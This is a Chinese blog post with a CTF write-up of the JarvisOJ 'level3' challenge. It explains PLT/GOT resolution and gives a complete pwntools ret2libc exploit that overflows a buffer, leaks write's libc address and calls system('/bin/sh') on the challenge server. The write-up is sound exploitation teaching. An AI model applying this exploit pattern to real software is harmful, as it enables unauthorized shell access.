美文网首页
jarvisoj level3

jarvisoj level3

作者: poxlove3 | 来源:发表于2018-07-10 09:44 被阅读0次

这个题目乍一看和level2一模一样,不过给的文件里面多给了我们一个libc动态链接库。
checksec看一下,依旧是有着nx,所以shellcode拿到shell基本是没戏了。
ida打开level3看一下里面也没有找到system函数,也没有找打“bin/sh”的字符串。


level3里面的函数

不如再拿ida看看那个动态链接库吧!


动态链接库
好的!什么都有了,system也有,“bin/sh”也有!

我们知道如果函数在内存中地址为func_addr,在libc中偏移为func_libc则有

sys_addr - sys_libc == write_addr - write_libc

所以我们可以通过泄露write或者read函数的地址,利用函数在内存中的地址和libc文件中的偏移的差相等,获得system的地址。

因为write是可以把东西打印出来的,ida打开看了一下函数逻辑,发现可以重复调用vulnerable_function函数,打印并返回write的真实地址!这样子我们就可以找到system在内存中的真实地址,执行system('bin/sh')拿到shell!

还需要知道plt表和got表的一些相关知识。
反编译的过程当中,我们经常会发现xxx@plt的函数,因为为了用户体验和cpu的利用率,编译的时候需要两个表来进行辅助,一个是got表另外一个是plt表。
plt表是内部函数表,got表是全局函数表,两者是一一对应的关系,网上找到过一张图,描述的很形象。也就是说plt表里面放的是got表的地址,got表里面放的是函数的真实地址。

所以当我们在第一次执行某个函数的时候,第一步是由函数调用跳入到PLT表中,然后第二步是从PLT表跳到GOT表中,第三步由GOT表回跳到PLT表中,这时候进行压栈,把代表函数的ID压栈,接着第四步跳转到公共的PLT表项中,第5步进入到GOT表中,然后_dl_runtime_resolve对动态函数进行地址解析和重定位,第七步把动态函数真实的地址写入到GOT表项中,然后执行函数并返回。简单的来讲就是说如果我们第一次调用某个函数,就要plt表和got表全部走一遍。

而当我们第二次调用某个函数的时候,我们的第一步还是由函数调用跳入到PLT表,但是第二步跳入到GOT表中时,但是这个时候该表项已经是动态函数的真实地址了,所以可以直接执行然后返回。

plt和got表的对应关系

未调用以前
脚本如下

from pwn import *

#p = process('./level3')
p = remote('pwn2.jarvisoj.com',9879)
elf = ELF('./level3')
libc = ELF('./libc-2.19.so')

write_got = elf.got["write"]
write_plt = elf.plt["write"]
vul_addr = elf.symbols["vulnerable_function"]

write_libc = libc.symbols['write']
system_libc = libc.symbols['system']
binsh_libc = libc.search('/bin/sh').next()

# if binsh_libc_addr== 0x0016084C:
#   print "Today is so hot"

payload = 'A' * (0x88 + 4) + p32(write_plt) + p32(vul_addr) + p32(1) + p32(write_got) + p32(4)
#调用了write函数,打印出了write_got的真实地址,因为已经调用过一次write函数,
#所以got表里的地址是write在内存中的真实地址,返回vul函数可以继续无限制的打。

p.recvuntil('Input:\n')
p.sendline(payload)

write_addr = u32(p.recv(4))
#print p32(write_addr)

diff = write_addr - write_libc

binsh_addr = diff + binsh_libc
system_addr = diff + system_libc

payload2 = 'A' * (0x88 + 4) + p32(system_addr) + p32(vul_addr) + p32(binsh_addr)
p.sendline(payload2)
p.interactive()

因为每一次执行函数的时候真实地址都会改变,所以必须利用两次漏洞才可以执行。
其实很多的地址都是可以从ida里面静态分析得到的,但是也可以使用pwntools获取。

相关文章

  • [JarvisOj](pwn)level3_x64

    简介 : nc pwn2.jarvisoj.com 9883 该题和 level3 的代码相比 : 少了在 rea...

  • jarvisoj level3

    这个题目乍一看和level2一模一样,不过给的文件里面多给了我们一个libc动态链接库。checksec看一下,依...

  • [JarvisOj](pwn)level3

    简介 : 分析 : 地址 : 利用代码 :

  • 【链接】懂你英语笔记level3

    level3 unit2 level3 unit3

  • jarvisoj fm

    流程套路还是固定的,file看一下是32位的文件checksec看一下开了什么保护,好像没什么奇怪的东西运行一下看...

  • [JarvisOj]Web

    LOCALHOST 题目入口:http://web.jarvisoj.com:32774/ X-Forwarded...

  • [JarvisOj]Basic

    手贱 某天A君的网站被日,管理员密码被改,死活登不上,去数据库一看,啥,这密码md5不是和原来一样吗?为啥登不上咧...

  • jarvisOJ wp

    [xman] level0 file : 64位 程序 静态链接加载函数 checksec : NX 开启(堆栈不...

  • 51端口访问

    题目链接:http://web.jarvisoj.com:32770/ Please use port 51 to...

  • WEB-inject #desc #`#sql注入

    flag{luckyGame~} 描述 题目入口:http://web.jarvisoj.com:32794/。H...

网友评论

      本文标题:jarvisoj level3

      本文链接:https://www.haomeiwen.com/subject/nretpftx.html